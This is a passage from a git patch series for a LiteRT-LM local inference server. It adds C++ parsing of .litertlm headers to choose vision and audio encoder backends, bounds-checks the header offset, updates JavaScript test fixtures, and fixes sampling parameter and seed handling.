uint64_t size; template std::optional Get(uint64_t pos) const { - if (pos > b.size() || sizeof(T) > b.size() - pos) return std::nullopt; T v; - std::memcpy(&v, b.data() + pos, sizeof v); + if (pos > size || sizeof(T) > size - pos || !read(pos, &v, sizeof v)) return std::nullopt; return v; } // Where field i of the table at `table` is, or 0 when the table does not have it. @@ -315,8 +325,30 @@ struct FbReader { auto off = pos ? Get(pos) : std::nullopt; return off && *off ? pos + *off : 0; } + // The number of elements of the vector at `vec`, 0 when there is none. + uint32_t Length(uint64_t vec) const { return vec ? Get(vec).value_or(0) : 0; } + // The scalar at `pos` (a field's place, from Field), or `missing` when the table does not have the field. + template + T Scalar(uint64_t pos, T missing) const { + return pos ? Get(pos).value_or(missing) : missing; + } + // The string a uoffset at `pos` points to (its first 256 bytes), empty when there is none. + std::string String(uint64_t pos) const { + const uint64_t at = Follow(pos); + std::string out(std::min(Length(at), 256), '\0'); + if (!at || at + 4 > size || out.size() > size - at - 4 || !read(at + 4, &out[0], out.size())) return ""; + return out; + } }; +FbReader MemoryReader(const std::string& b) { + return {[&b](uint64_t pos, void* out, size_t n) { + std::memcpy(out, b.data() + pos, n); + return true; + }, + b.size()}; +} + // Calls f(field number, varint value, bytes) for each top-level field of a protobuf message: the varint for wire type // 0, the bytes for wire type 2; fixed-width fields are skipped. False when the message is malformed. template @@ -385,19 +417,63 @@ bool HasRecurrentState(int section_type, const std::string& proto) { return found; } -// `header` is the file's bytes from 32 to the header's end. A header or section this cannot read says nothing. +// The backends a section's backend_constraint lists, in its order, as LiteRT-LM 0.18.0 reads it +// (ParseBackendConstraint in schema/model_info/model_info.cc, what its C API's litert_lm_loaded_file_* answer): cpu +// or cpu_artisan, gpu or gpu_artisan, npu or google_tensor_artisan; a section without one takes cpu, then gpu. +std::vector ConstraintBackends(const std::string& constraint) { + if (constraint.empty()) return {"cpu", "gpu"}; + std::vector out; + std::stringstream ss(constraint); + for (std::string b; std::getline(ss, b, ',');) { + b = Trim(b); + std::string name = b == "cpu" || b == "cpu_artisan" ? "cpu" + : b == "gpu" || b == "gpu_artisan" ? "gpu" + : b == "npu" || b == "google_tensor_artisan" ? "npu" + : ""; + if (!name.empty() && std::find(out.begin(), out.end(), name) == out.end()) out.push_back(name); + } + return out; +} + +// `header` is the file's bytes from 32 to the header's end, `in` the file. What the file takes and on which backends is +// what its header lists, as LiteRT-LM 0.18.0 reads it (DiscoverSections in schema/model_info/model_info.cc): each +// TFLite section's model_type and backend_constraint items, a vision or audio encoder or adapter being that input, +// the last one listed deciding its backends. The C API's litert_lm_loaded_file_create reads the same, but also reads +// whole sections into memory: every vision section, and the main model when LlmMetadata has no max_num_tokens +// (GetModelInfo), so asking it which inputs gemma-3-270m-it takes raised the server's peak memory by 285 MB, the size +// of its model, before any engine loaded, and by up to 2 GB for a larger bundle. Here nothing but the header and the +// small protobuf sections is read. A header or section this cannot read says nothing. ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { ModelFileInfo info; - FbReader fb{header}; + const FbReader fb = MemoryReader(header); const uint64_t root = fb.Get(0).value_or(0); // the root table's uoffset, from 0 const uint64_t sections = fb.Follow(fb.Field(fb.Follow(fb.Field(root, 1)), 0)); // section_metadata.objects - const uint32_t n = sections ? fb.Get(sections).value_or(0) : 0; + const uint32_t n = fb.Length(sections); + info.capabilities_known = n > 0; + std::optional vision, audio; // the encoder's backend_constraint for (uint32_t k = 0; k < n && k < 4096; ++k) { const uint64_t s = fb.Follow(sections + 4 + 4ull * k); - const uint64_t at_begin = fb.Field(s, 1), at_end = fb.Field(s, 2), at_type = fb.Field(s, 3); - if (!s || !at_begin || !at_end || !at_type) continue; - const int type = fb.Get(at_type).value_or(0); - const uint64_t begin = fb.Get(at_begin).value_or(0), end = fb.Get(at_end).value_or(0); + if (!s) continue; + const int type = fb.Scalar(fb.Field(s, 3), 0); + if (type == 3) { // TFLiteModel + std::string model_type, constraint; + const uint64_t items = fb.Follow(fb.Field(s, 0)); + for (uint32_t j = 0; j < fb.Length(items) && j < 256; ++j) { + const uint64_t item = fb.Follow(items + 4 + 4ull * j); // a KeyValuePair, whose value is a StringValue (9) + if (!item || fb.Scalar(fb.Field(item, 1), 0) != 9) continue; + const std::string key = fb.String(fb.Field(item, 0)); + const std::string value = Lower(Trim(fb.String(fb.Field(fb.Follow(fb.Field(item, 2)), 0)))); + if (key == "model_type") model_type = value; + if (key == "backend_constraint") constraint = value; + } + if (model_type == "tf_lite_vision_adapter" || model_type == "tf_lite_vision_encoder") vision = constraint; + if (model_type == "tf_lite_audio_adapter" || model_type == "tf_lite_audio_encoder_hw" || + model_type == "tf_lite_audio_frontend") { + audio = constraint; + } + continue; + } + const uint64_t begin = fb.Scalar(fb.Field(s, 1), 0), end = fb.Scalar(fb.Field(s, 2), 0); if ((type != 5 && type != 9) || end <= begin || end - begin > (1u << 20)) continue; std::string proto(end - begin, '\0'); in.clear(); @@ -406,17 +482,58 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { } info.recurrent_state |= HasRecurrentState(type, proto); } + if (vision) info.vision_backends = ConstraintBackends(*vision); + if (audio) info.audio_backends = ConstraintBackends(*audio); return info; } +// ModelFileInfo for the model file, read once per version of it (its size and modification time). A .litertlm starts +// with "LITERTLM", three uint32 versions, 4 bytes of padding and a little-endian uint64 header-end offset (the same 32 +// bytes the daemon's models/litertlm.ts reads). The runtime allocates and zeroes header_end - 32 bytes before reading +// the header, and the std::bad_alloc a bogus offset raises crosses the C API into std::terminate, killing the whole +// server, so the offset is bounded here first. The bound is the runtime's own: it reads the header from the file's +// first 16 KiB only (kLitertLmHeaderMaxSize, LiteRT-LM 0.18.0's litert_lm_loader.h), so a larger offset can never load, +// yet would still cost an allocation up to the file's size (hundreds of MB on a phone). Checked before the loaded +// engine is released, which a bad file then leaves in place. A file that can't be read or lacks the magic is left to +// the runtime, which reports it cleanly and more precisely (e.g. "Permission denied"), and says nothing here. Caller +// holds g_engine_mu. +const ModelFileInfo& FileInfo(const ModelRef& ref) { + struct Cached { + long long size = -1, mtime = -1; + ModelFileInfo info; + }; + static std::map cache; + struct stat st {}; + unsigned char h[32] = {}; + std::ifstream in(ref.path, std::ios::binary); + bool ok = ::stat(ref.path.c_str(), &st) == 0 && in.read(reinterpret_cast(h), sizeof h) && + std::memcmp(h, "LITERTLM", 8) == 0; + uint64_t header_end = 0; + for (int i = 31; i >= 24; --i) header_end = (header_end << 8) | h[i]; + constexpr uint64_t kRuntimeHeaderMaxSize = 16 * 1024; + if (ok && (header_end <= 32 || header_end > std::min(st.st_size, kRuntimeHeaderMaxSize))) { + throw HttpError(500, "Failed to load engine: RuntimeError('Failed to create LiteRT-LM engine for " + ref.path + + ": invalid .litertlm header')"); + } + Cached& c = cache[ref.path]; + if (c.size == static_cast(st.st_size) && c.mtime == static_cast(st.st_mtime)) return c.info; + c = Cached{static_cast(st.st_size), static_cast(st.st_mtime), ModelFileInfo()}; + if (!ok) return c.info; + std::string header(header_end - 32, '\0'); + if (in.read(&header[0], static_cast(header.size()))) c.info = ReadModelFileInfo(in, header); + return c.info; +} + // ── Engine lifetime (util.get_or_initialize_server_engine) ───────────────────────────────── struct EngineKey { std::string path, backend, cache; + std::string vision_backend, audio_backend; // empty: no vision or audio executor int max_num_tokens = -1, threads = -1, gpu_steps = -1, spec = -1; bool operator==(const EngineKey& o) const { - return path == o.path && backend == o.backend && cache == o.cache && max_num_tokens == o.max_num_tokens && - threads == o.threads && gpu_steps == o.gpu_steps && spec == o.spec; + return path == o.path && backend == o.backend && cache == o.cache && vision_backend == o.vision_backend && + audio_backend == o.audio_backend && max_num_tokens == o.max_num_tokens && threads == o.threads && + gpu_steps == o.gpu_steps && spec == o.spec; } }; @@ -477,8 +594,38 @@ void ReleaseEngine() { } } +// The backend for a model's vision or audio encoder: the config's vision_backend or audio_backend when it sets one, +// else the one the file prefers, as `litert-lm serve` chooses them (util.get_or_initialize_server_engine and +// model.parse_backend: the config key, else the encoder section's first backend_constraint, else cpu, which is also +// what ReadModelFileInfo lists first). Empty for a model without that input: LiteRT-LM then creates no executor for it. +std::string EncoderBackend(const ModelRef& ref, const std::vector& supported, + const std::optional& configured, const char* input) { + if (supported.empty()) { + if (configured) { + static std::set told; + if (told.insert(ref.path + input).second) { + Log(std::string(input) + "_backend in the config is not used for " + ref.id + ": it takes no " + input + + " input"); + } + } + return ""; + } + if (!configured) return supported.front(); + std::string b = Lower(*configured); + if (b != "cpu" && b != "gpu" && b != "npu") { + throw HttpError(500, "Failed to load engine: ValueError(\"Unsupported " + std::string(input) + " backend: '" + b + + "'\")"); + } + return b; +} + +// What a request's messages hold besides text, which only a model with that input can take. +struct InputNeeds { + bool image = false, audio = false; +}; + // Caller holds g_engine_mu. -LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { +LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, const InputNeeds& needs) { EngineKey key; key.path = ref.path; key.backend = ref.backend ? *ref.backend : (mc.backend ? Lower(*mc.backend) : "cpu"); @@ -491,6 +638,20 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { if (key.backend != "cpu" && key.backend != "gpu" && key.backend != "npu") { throw HttpError(500, "Failed to load engine: ValueError(\"Unsupported backend: '" + key.backend + "'\")"); } + // A vision or audio executor is created only when the engine settings name a backend for it (c/engine.cc, + // CreateEngineSettingsHelper), and none was named, so an image sent to LFM2.5-VL-450M got a 500 "Vision executor + // should not be null, please TryLoadingVisionExecutor() first." although the model takes images. + const ModelFileInfo& info = FileInfo(ref); + key.vision_backend = EncoderBackend(ref, info.vision_backends, mc.vision_backend, "vision"); + key.audio_backend = EncoderBackend(ref, info.audio_backends, mc.audio_backend, "audio"); + // An image or audio part for a model that has no such input is the request's mistake, said before anything loads. + // When the server could not read the file's header, the runtime is left to say it. + if (info.capabilities_known && needs.image && key.vision_backend.empty()) { + throw HttpError(400, "Invalid messages: " + ref.id + " takes no image input"); + } + if (info.capabilities_known && needs.audio && key.audio_backend.empty()) { + throw HttpError(400, "Invalid messages: " + ref.id + " takes no audio input"); + } // A model whose decoder keeps a recurrent state gets a new engine for every conversation after the first. LiteRT-LM // 0.18.0 starts each new conversation on an engine at step 0 and keeps the executor's buffers as they are there @@ -503,34 +664,6 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { // no way to reset that state, so the engine is created again, with the same settings. const bool fresh_state = g_engine.engine && g_engine.key == key && g_engine.recurrent_state && g_engine.state_used; if (g_engine.engine && g_engine.key == key && !fresh_state) return g_engine.engine; - // A .litertlm starts with "LITERTLM", three uint32 versions, 4 bytes of padding and a little-endian uint64 header-end - // offset (the same 32 bytes the daemon's models/litertlm.ts reads). The runtime allocates and zeroes header_end - 32 - // bytes before reading the header, and the std::bad_alloc a bogus offset raises crosses the C API into std::terminate, - // killing the whole server, so the offset is bounded here first. The bound is the runtime's own: it reads the header - // from the file's first 16 KiB only (kLitertLmHeaderMaxSize, LiteRT-LM 0.18.0's litert_lm_loader.h), so a larger - // offset can never load, yet would still cost an allocation up to the file's size (hundreds of MB on a phone). - // Checked before the loaded engine is released, which a bad file then leaves in place. - // A file that can't be read or lacks the magic is left to the runtime, which reports it cleanly and more precisely - // (e.g. "Permission denied"). A header that passes is read for ModelFileInfo. - ModelFileInfo info; - { - struct stat st {}; - unsigned char h[32] = {}; - std::ifstream in(ref.path, std::ios::binary); - bool ok = ::stat(ref.path.c_str(), &st) == 0 && in.read(reinterpret_cast(h), sizeof h) && - std::memcmp(h, "LITERTLM", 8) == 0; - uint64_t header_end = 0; - for (int i = 31; i >= 24; --i) header_end = (header_end << 8) | h[i]; - constexpr uint64_t kRuntimeHeaderMaxSize = 16 * 1024; - if (ok && (header_end <= 32 || header_end > std::min(st.st_size, kRuntimeHeaderMaxSize))) { - throw HttpError(500, "Failed to load engine: RuntimeError('Failed to create LiteRT-LM engine for " + ref.path + - ": invalid .litertlm header')"); - } - if (ok) { - std::string header(header_end - 32, '\0'); - if (in.read(&header[0], static_cast(header.size()))) info = ReadModelFileInfo(in, header); - } - } if (fresh_state) { static std::set told; // once per model file, not per conversation if (told.insert(ref.path).second) { @@ -543,10 +676,14 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { ReleaseEngine(); } - Log("Initializing engine for model: " + ref.path + " (backend: " + key.backend + ")"); + Log("Initializing engine for model: " + ref.path + " (backend: " + key.backend + + (key.vision_backend.empty() ? "" : ", vision: " + key.vision_backend) + + (key.audio_backend.empty() ? "" : ", audio: " + key.audio_backend) + ")"); auto t0 = std::chrono::steady_clock::now(); L.litert_lm_clear_last_error(); - LiteRtLmEngineSettings* s = L.litert_lm_engine_settings_create(ref.path.c_str(), key.backend.c_str(), nullptr, nullptr); + LiteRtLmEngineSettings* s = L.litert_lm_engine_settings_create( + ref.path.c_str(), key.backend.c_str(), key.vision_backend.empty() ? nullptr : key.vision_backend.c_str(), + key.audio_backend.empty() ? nullptr : key.audio_backend.c_str()); if (!s) { std::string why = LastRuntimeError(); throw HttpError(500, "Failed to load engine: RuntimeError('Failed to create engine settings for " + ref.path + @@ -1268,8 +1405,21 @@ void HandleChatCompletions(int fd, const Request& req) { } } + // The parts TranslateMessage made of image_url and input_audio parts, or that the client sent as LiteRT-LM's own. + InputNeeds needs; + auto note_parts = [&](const json& m) { + if (!m.is_object() || !m.contains("content") || !m["content"].is_array()) return; + for (const auto& part : m["content"]) { + if (!part.is_object() || !part.contains("type") || !part["type"].is_string()) continue; + needs.image |= part["type"] == "image"; + needs.audio |= part["type"] == "audio"; + } + }; + for (const auto& m : translated) note_parts(m); + note_parts(prompt); + std::lock_guard engine_lock(g_engine_mu); - LiteRtLmEngine* engine = GetOrCreateEngine(ref, mc); + LiteRtLmEngine* engine = GetOrCreateEngine(ref, mc, needs); // Engine.create_conversation, with the options the serve path passes, but constrained decoding only with tools // (below). diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index 3f9432f..c2f163a 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -82,7 +82,11 @@ extern "C" { const char* litert_lm_get_last_error_message(void) { return g_error.c_str(); } void litert_lm_clear_last_error(void) { g_error.clear(); } -LiteRtLmEngineSettings* litert_lm_engine_settings_create(const char* model_path, const char*, const char*, const char*) { +LiteRtLmEngineSettings* litert_lm_engine_settings_create(const char* model_path, const char* backend, + const char* vision_backend, const char* audio_backend) { + auto name = [](const char* b) { return b ? nlohmann::json(b) : nlohmann::json(nullptr); }; + Record({{"call", "engine_settings_create"}, {"model", Basename(model_path)}, {"backend", name(backend)}, + {"vision_backend", name(vision_backend)}, {"audio_backend", name(audio_backend)}}); return new LiteRtLmEngineSettings{Basename(model_path)}; } void litert_lm_engine_settings_delete(LiteRtLmEngineSettings* s) { delete s; } diff --git a/engines/litert-lm-server/testdata/harness.mjs b/engines/litert-lm-server/testdata/harness.mjs index 8d2bbc8..c98cf41 100644 --- a/engines/litert-lm-server/testdata/harness.mjs +++ b/engines/litert-lm-server/testdata/harness.mjs @@ -161,45 +161,108 @@ export function calls(file) { return existsSync(file) ? readFileSync(file, 'utf8').split('\n').filter(Boolean).map((l) => JSON.parse(l)) : [] } +// A FlatBuffer, laid out front to back from a tree of values: every uoffset points forward, as FlatBuffers requires, +// each vtable sits right before its table, and each table starts 8-aligned. fb.table([...]) lists a table's fields by +// index (undefined leaves one out); a field is fb.u8(v), fb.u32(v), fb.i32(v) or fb.u64(v), a string, a table, a +// vector of tables or strings (fb.vector([...])) or of int32s (fb.ints([...])). +export const fb = { + u8: (v) => ({ size: 1, put: (b, at) => b.writeUInt8(v, at) }), + u32: (v) => ({ size: 4, put: (b, at) => b.writeUInt32LE(v, at) }), + i32: (v) => ({ size: 4, put: (b, at) => b.writeInt32LE(v, at) }), + u64: (v) => ({ size: 8, put: (b, at) => b.writeBigUInt64LE(BigInt(v), at) }), + table: (fields) => ({ table: fields }), + vector: (items) => ({ vector: items }), + ints: (values) => ({ ints: values }), +} +export function flatbuffer(root) { + const parts = [] + let pos = 0 + const put = (b) => { parts.push(b); pos += b.length; return pos - b.length } + const pad = (to, extra = 0) => { const n = (to - ((pos + extra) % to)) % to; if (n) put(Buffer.alloc(n)) } + const patches = [] // [position of a uoffset, position of its target] + // Lays out `value` (a table, vector or string) and what it points to; returns its position. + const place = (value) => { + if (typeof value === 'string') { + pad(4) + const b = Buffer.alloc(4 + Buffer.byteLength(value) + 1) + b.writeUInt32LE(Buffer.byteLength(value)) + b.write(value, 4) + return put(b) + } + if (value.ints) { + pad(4) + const b = Buffer.alloc(4 + 4 * value.ints.length) + b.writeUInt32LE(value.ints.length) + value.ints.forEach((v, k) => b.writeInt32LE(v, 4 + 4 * k)) + return put(b) + } + if (value.vector) { + pad(4) + const at = put(Buffer.alloc(4 + 4 * value.vector.length)) + parts.at(-1).writeUInt32LE(value.vector.length) + value.vector.forEach((item, k) => patches.push([at + 4 + 4 * k, place(item)])) + return at + } + // A table: its soffset, then each field at its own alignment; the vtable gives each field's place in it. + const slots = [] + let size = 4 + for (const field of value.table) { + if (field === undefined) { slots.push(0); continue } + const width = field.size ?? 4 + size += (width - (size % width)) % width + slots.push(size) + size += width + } + size += (4 - (size % 4)) % 4 + const vtable = Buffer.alloc(4 + 2 * slots.length) + vtable.writeUInt16LE(vtable.length, 0) + vtable.writeUInt16LE(size, 2) + slots.forEach((at, k) => vtable.writeUInt16LE(at, 4 + 2 * k)) + pad(8, vtable.length) + put(vtable) + const table = Buffer.alloc(size) + table.writeInt32LE(vtable.length, 0) + const at = put(table) + const later = [] + value.table.forEach((field, k) => { + if (field === undefined) return + if (field.put) field.put(table, slots[k]) + else later.push([at + slots[k], field]) + }) + for (const [slot, child] of later) patches.push([slot, place(child)]) + return at + } + put(Buffer.alloc(8)) // the root uoffset, and room before the root's vtable + patches.push([0, place(root)]) + const out = Buffer.concat(parts) + for (const [at, target] of patches) out.writeUInt32LE(target - at, at) + return out +} + // A stand-in .litertlm the server can read as the runtime does: "LITERTLM", three uint32 versions, padding, the // uint64 header end, then the header FlatBuffer (schema/core/litertlm_header_schema.fbs) listing `sections`, each -// { type, bytes } (5 = LlmMetadataProto, 9 = ExecutorMetadataProto), which follow at 16 KiB steps as in real files. -// The stand-in library reads only the file's name. +// { type, bytes, items } (3 = TFLiteModel, 5 = LlmMetadataProto, 9 = ExecutorMetadataProto; items, the section's +// string key-value pairs, such as model_type), whose bytes follow at 16 KiB steps as in real files. The stand-in +// library does not read it. export function litertlmFile(path, sections) { - const u16 = (v) => { const b = Buffer.alloc(2); b.writeUInt16LE(v); return b } + let next = 16384 + const placed = sections.map((s) => { + const bytes = s.bytes ?? Buffer.alloc(0) + const begin = next + next = begin + Math.ceil(Math.max(bytes.length, 1) / 16384) * 16384 + return { ...s, bytes, begin } + }) + const item = ([key, value]) => fb.table([key, fb.u8(9), fb.table([value])]) // KeyValuePair, its value a StringValue + const header = flatbuffer(fb.table([undefined, fb.table([fb.vector(placed.map((s) => fb.table([ + s.items ? fb.vector(Object.entries(s.items).map(item)) : undefined, fb.u64(s.begin), fb.u64(s.begin + s.bytes.length), fb.u8(s.type), + ])))])])) + assert.ok(32 + header.length <= 16384, 'the header must fit in 16 KiB') const u32 = (v) => { const b = Buffer.alloc(4); b.writeUInt32LE(v); return b } - const i32 = (v) => { const b = Buffer.alloc(4); b.writeInt32LE(v); return b } const u64 = (v) => { const b = Buffer.alloc(8); b.writeBigUInt64LE(BigInt(v)); return b } - // Laid out front to back; every uoffset points forward, as FlatBuffers requires, and each vtable sits right before - // its table. Fields: root.section_metadata (1), section_metadata.objects (0), SectionObject begin (1), end (2), - // type (3). - const parts = [] - let pos = 0 - const put = (b) => { parts.push(b); pos += b.length; return pos - b.length } - const fixups = [] // [position of a uoffset, function returning its target] - put(u32(0)) // root uoffset, fixed below - const rootVt = put(Buffer.concat([u16(8), u16(8), u16(0), u16(4)])) - const rootTable = put(Buffer.concat([i32(8), u32(0)])) - fixups.push([rootTable + 4, () => metaTable]) - const metaVt = put(Buffer.concat([u16(6), u16(8), u16(4), u16(0)])) - const metaTable = put(Buffer.concat([i32(8), u32(0)])) - fixups.push([metaTable + 4, () => vector]) - const vector = put(Buffer.concat([u32(sections.length), ...sections.map(() => u32(0))])) - const tables = sections.map((s, k) => { - put(Buffer.concat([u16(12), u16(24), u16(0), u16(4), u16(12), u16(20)])) - const t = put(Buffer.concat([i32(12), u64(16384 * (k + 1)), u64(16384 * (k + 1) + s.bytes.length), Buffer.from([s.type, 0, 0, 0])])) - fixups.push([vector + 4 + 4 * k, () => t]) - return t - }) - assert.equal(rootVt, 4) - assert.ok(tables.length === sections.length && metaVt > 0) - const header = Buffer.concat(parts) - header.writeUInt32LE(rootTable, 0) - for (const [at, target] of fixups) header.writeUInt32LE(target() - at, at) const preamble = Buffer.concat([Buffer.from('LITERTLM'), u32(1), u32(0), u32(0), u32(0), u64(32 + header.length)]) - const file = Buffer.alloc(16384 * (sections.length + 1)) + const file = Buffer.alloc(next) Buffer.concat([preamble, header]).copy(file) - sections.forEach((s, k) => s.bytes.copy(file, 16384 * (k + 1))) + for (const s of placed) s.bytes.copy(file, s.begin) writeFileSync(path, file) return path } From 54dfd59880142afc3d02225922706237af8f7915 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 19:47:23 +0000 Subject: [PATCH 69/80] fix(litert-lm-server): sampling starts from the model's, with a seed A temperature or top_p sent without a top_k had no effect, a model's own sampling parameters were thrown away as soon as a request set any one field, and every reply was sampled with seed 0. As soon as a request set any of temperature, top_p, top_k or seed, the server built a whole TOP_P sampler and filled every field the request left out with a fixed value: top_k 1, top_p 0.95, temperature 1, seed 0. A session's sampler replaces the model's own (LlmMetadata's sampler_params) entirely: the runtime uses the model's only when the session sets none (SessionConfig::MaybeUpdateAndValidate in engine_settings.cc, LiteRT-LM 0.18.0). top_k 1 is greedy decoding (sampling_cpu_util.cc), so the thread settings that send only a temperature, and API clients that do, got greedy replies: on LFM2.5-230M "Write one sentence about the sea." gave the same sentence with no fields, with temperature 1.5 and seeds 1 and 2, and with temperature 1.5, top_p 0.9 and seed 3. On Qwen3-0.6B, whose file sets TOP_P, top_k 20, top_p 0.95, temperature 0.6, a request with only a temperature got top_k 1 and top_p 0.95. And a request without a seed got 0, the runtime's default too, so each new conversation drew the same sample and a Regenerate repeated the reply word for word (two fresh servers, temperature 1.5 and top_k 40: the same sentence). Older bug: origin/main has the same fill (main.cc:960-964). - engines/litert-lm-server/src/main.cc: every conversation on CPU and GPU is created with a sampler: the model's own top_k, top_p and temperature (LlmMetadata's sampler_params, read from the file once per version of it with the rest of ModelFileInfo, as the C API's litert_lm_loaded_file_sampler_* report them), each field the request sets put in its place, and a random seed (1 to 2^31-2: the CPU sampler's minstd_rand0 takes 0 and 1 alike) unless the request gives one. A model with none of its own (LFM2.5-230M and gemma-3-270m-it have none) gets the runtime's own defaults for CPU and GPU, TOP_P with top_k 1, top_p 0.95 and temperature 1, the ones it would have used; there, a request that sets a temperature above 0 or a top_p below 1 but no top_k would still be greedy, so it samples with no top-k limit, logged once per model and backend ("top_k is not set and 's default is 1 (greedy), under which the request's temperature would have no effect; sampling on cpu with top_k 2147483647 (no limit)"): on CPU the largest k, which the CPU sampler clamps to the vocabulary; on GPU the model's vocabulary, its decode signature's number of logits (read from the few tables of the main model that give it), since the GPU sampler is created for the k it gets and LiteRT-LM sets no limit of its own there (GpuConfig::max_top_k, 64, is read nowhere in 0.18.0). The CPU sampler implements TOP_P only (CreateCpuSampler in sampler_factory.cc), so a model whose own type is TOP_K gets TOP_P with its k and p 1, GREEDY gets k 1, and a TOP_P or TOP_K with no k gets no limit. On NPU, and for an Artisan text decoder on GPU (a tf_lite_artisan_text_decoder section, which LiteRT-LM runs as GPU_ARTISAN: Gemma 4's -gpu bundles), where LiteRT-LM leaves sampling to the model (its default type is UNSPECIFIED there, engine_settings.cc), a sampler is set only for a request that sets a field, as before, from the model's own the same way. - BUILDING-ENGINES.md: says so under "What the server is". Behaviour change: a request without sampling fields is sampled with the model's own parameters and a new random seed each time, so a model whose file sets sampling (Qwen3-0.6B, LFM2-700M) no longer gives the same reply to the same request; models without their own parameters stay greedy, as before. A temperature or top_p sent alone takes effect: on a model with its own top_k, with that top_k; on one without, with no top-k limit. A field the request leaves out keeps the model's value instead of a fixed one. A request with a seed is reproducible as before. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, which now logs each conversation's sampler, on stand-in files whose LlmMetadata has sampler_params and whose main model has a decoder with a vocabulary: "the fields a request leaves out of its sampler come from the model's own parameters, and the ones it sets are used as set" (TOP_P, TOP_K, GREEDY and k 0 models, single fields, a model with none, the GPU backend with and without a vocabulary read from the file, NPU and an Artisan decoder on GPU, and the greedy-default note once per model and backend) and "a request without a seed is sampled with a new random seed, and one with a seed with that seed"; and, with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, "a real model samples with a temperature sent alone, differently each time without a seed: " (three replies with temperature 1.5 must not all be the same, and two with seed 7 must be). With main.cc as it was, all fail: no sampler for a request without fields, and on LFM2.5-230M_int8, gemma-3-270m-it and Qwen3-0.6B the same reply three times. The first also fails with the GPU's no-limit k at 64 (for a model whose vocabulary is 32000), with a sampler set for the Artisan decoder on GPU, or with the note logged for every request. No existing test changed. Not run on a device: that the GPU sampler takes the vocabulary's size as top_k, and what an Artisan decoder on GPU samples with when the conversation sets no sampler. --- BUILDING-ENGINES.md | 12 + .../litert-lm-server/model-settings.test.mjs | 144 +++++++++++- engines/litert-lm-server/src/main.cc | 207 ++++++++++++++++-- .../testdata/fake_litert_lm.cc | 26 ++- 4 files changed, 362 insertions(+), 27 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 8c813ee..f47c2f9 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -380,6 +380,18 @@ itself, as LiteRT-LM does. The C API's `litert_lm_loaded_file_*` answer the same model sections into memory to do it (every vision section, and the main model when its metadata gives no context size): 285 MB for gemma-3-270m-it, before any engine loads. +**Sampling starts from the model's own parameters.** A session's sampler replaces the model's +(LlmMetadata's `sampler_params`) entirely, so every conversation is created with the model's own +top_k, top_p and temperature (read from the file's LlmMetadata), each field the request sets put +in its place, and a random seed unless the request gives one. A model with no parameters of its +own (LFM2.5-230M, gemma-3-270m-it) gets LiteRT-LM's defaults, which are greedy (top_k 1), so a +temperature or top_p sent without a top_k there samples with no top-k limit (on CPU the largest +k, which its sampler clamps to the vocabulary; on GPU the model's vocabulary size, its number of +logits), and the server logs it once per model. The CPU sampler implements only TOP_P, so a +model whose own type is TOP_K gets TOP_P with p 1. On NPU, and for an Artisan text decoder on GPU +(which LiteRT-LM runs as GPU_ARTISAN; Gemma 4's `-gpu` bundles have one), nothing is set unless +the request sets a field, as before: LiteRT-LM leaves sampling to the model there. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index 3865eae..ab50153 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -21,8 +21,8 @@ import { basename, join } from 'node:path' import { deflateSync } from 'node:zlib' import { after, before, test } from 'node:test' import { - buildServer, calls, chat, killServers, litertlmFile, logged, proto, realLibrary, realModels, skip, skipReal, startServer, - stopServer, + buildServer, calls, chat, fb, flatbuffer, killServers, litertlmFile, logged, proto, realLibrary, realModels, skip, + skipReal, startServer, stopServer, } from './testdata/harness.mjs' const visionModels = (process.env.LITERT_LM_TEST_VISION_MODELS ?? '').split(',').filter(Boolean) @@ -171,19 +171,19 @@ const imageMessage = (text) => [{ role: 'user', content: [ ] }] const audioMessage = [{ role: 'user', content: [{ type: 'input_audio', input_audio: { data: 'AAAA', format: 'wav' } }, { type: 'text', text: 'What is this?' }] }] -// A stand-in file whose header lists `sections`, by default a text decoder alone: TFLite sections, each with its -// model_type and, when given, its backend_constraint, as LiteRT-LM's builder writes them. The server reads the header; -// the stand-in library reads only the file's name. +// A stand-in file whose header lists `sections`: by default those `kinds` gives for its name (below), else a text +// decoder alone. TFLite sections have their model_type and, when given, their backend_constraint, as LiteRT-LM's +// builder writes them. The server reads the header; the stand-in library reads only the file's name. const tflite = (model_type, backend_constraint) => ({ type: 3, items: { model_type, ...(backend_constraint ? { backend_constraint } : {}) } }) const decoder = tflite('tf_lite_prefill_decode') -const readable = (name, sections = [decoder]) => litertlmFile(join(work, `${name}.litertlm`), sections) +const readable = (name, sections = kinds[name] ?? [decoder]) => litertlmFile(join(work, `${name}.litertlm`), sections) // One with no header the server can read, which is left to the runtime. const unreadable = (name) => { const path = join(work, `${name}.litertlm`) writeFileSync(path, 'stand-in model') return path } -const inputs = { +const kinds = { text: [decoder], vl: [decoder, tflite('tf_lite_embedder'), tflite('tf_lite_vision_encoder'), tflite('tf_lite_vision_adapter')], // LFM2.5-VL-450M's 'gpu-vision': [decoder, tflite('tf_lite_vision_encoder', 'gpu')], @@ -202,7 +202,7 @@ test('a model that takes images or audio gets its encoders, on the backend it pr unreadable: { backend: 'cpu', vision_backend: null, audio_backend: null }, } for (const [name, settings] of Object.entries(expected)) { - const path = name === 